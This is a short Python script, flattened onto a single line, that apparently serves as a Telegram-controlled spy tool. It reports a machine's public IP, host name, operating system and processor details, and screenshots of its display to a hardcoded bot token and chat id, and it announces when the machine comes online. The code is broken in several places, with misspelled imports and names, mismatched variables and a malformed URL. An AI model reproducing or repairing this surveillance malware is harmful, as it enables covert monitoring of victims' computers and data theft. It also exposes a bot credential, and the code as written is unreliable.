import requests from bs4 import BeutifulSoup as bs from telebot import types import telebot from pyautogui import screenshot from mss import mss from platform import node, system, release, proccesor from time import sleep from sys import exit ip = str(bs(requests.get("http://getip.ru/").content, "lxml").find_all("p")[1]) token="5049425062:AAEtaqC54fKpRlG4zb57U6rFQVJ-ykmC9IA" chat_id="1435338448" requests.post(f"http://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}%text=Online_bot") bot = telebot.TeleBot(token) @bot.message_handler(commands=["start"]) def start(mesaage): mrk = types.ReplyKeyboardMarkup(resize_keyboard=True) buttons = ["/ip", "/specification", "/stop_bot", "screenshot"] mrk.add(types.KeyboardButton([button for button in buttons])) bot.reply_to(message, "Starting...") sleep(0.3) bot.reply_to(message, "Choice function:") @bot.message_handler(commands=["ip"]) def start(mesaage): bot.reply_to(message, "Get ip....") sleep(1) bot.reply_to(mesaage, ip) @bot.message_handler(commands=["specification"]) def spec(mesaage): bot.reply_to(message, f"Name PC: {node()}\nProccesor PC: {proccesor()}\nSystem PC: {system()} {release()}") @bot.message_handler(commands=["stop_bot"]) def stop(mesaage): bot.reply_to(message, "Stopping...") exit() @bot.message_handler(commands=["screenshot"]) def screen(mesaage): try: im=screenshot("monitor-0.png") with open("monitor-0.png", "rb") as img: bot.reply_to(message, "Изображение: ") bot.send_photo(message.chat.id, img) except: with mss() as sct: scr.shot(mon=-1) sleep(0.2) with open("monitor-0.png", "rb") as img: bot.reply_to(message, "Изображение: ") bot.send_photo(message.chat.id, img) if __name__ == "__main__": bot.polling()